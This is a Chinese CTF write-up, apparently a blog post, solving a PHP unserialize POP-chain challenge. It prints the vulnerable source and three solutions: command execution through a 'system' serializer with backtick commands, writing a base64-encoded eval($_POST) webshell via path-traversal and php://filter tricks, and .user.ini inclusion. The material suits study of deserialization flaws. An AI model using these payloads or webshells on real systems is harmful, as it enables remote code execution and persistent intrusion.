[2020 新春红包题]1&ezpop改编题3种解法

26 篇文章 0 订阅
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

1、预期解

return json_encode([$cleaned, $this->complete]);
$data = $this->serialize($value);

被 json 编码了,但我们仍然可以在其中插入一段完整的内容,所以插入一段用反引号`括起来的命令,由于整段东西传入 system 函数之后是调用 shell 来执行,执行顺序有先后,反引号内的会被先执行,即可达到我们执行命令的目的。

payload

<?php

class A {

    protected $store;
	public function __construct(){
		$this->store=new B();
		$this->key = 'aaa';
		$this->cache=["`ls >3.php`"];
		$this->complete="`echo PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+|base64 -d >4.php`";
	}
}

class B {
	public function __construct(){
		$this->options['serialize']="system";
	}
	
	
}

$a=new A();
echo urlencode(serialize($a));

细节:cache必须要传个数组

public function cleanContents(array $contents) {

要求的值是数组,不然执行中断…

key 也要传值,为了让new B的set方法参数不为空,不然会报错中断…

2. .php后缀的绕过

uniqid()随机数可以用/…/目录穿越绕过 ,后面可以用/.绕过(啥原因还不清楚)

在这里插入图片描述
然后就和ezpop那个题做法差不多了

<?php

class A {

    protected $store;
	public function __construct(){
		$this->store=new B();
		$this->key = '/../shell.php/.';
		$this->cache=[];
		$this->complete=base64_encode("xxxPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+");
	}
}

class B {
	public function __construct(){
		$this->options['prefix']="php://filter/write=convert.base64-decode/resource=";
		$this->options['serialize']="base64_decode";
	}
	
	
}

$a=new A();
echo urlencode(serialize($a));
shell密码设置的是1

3.用.user.ini 包含来做

先传一个.user.ini中设置好要包含的文件名,
再上传上面的文件名不是.php后缀就好,然后内容搞一句话木马就好…

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值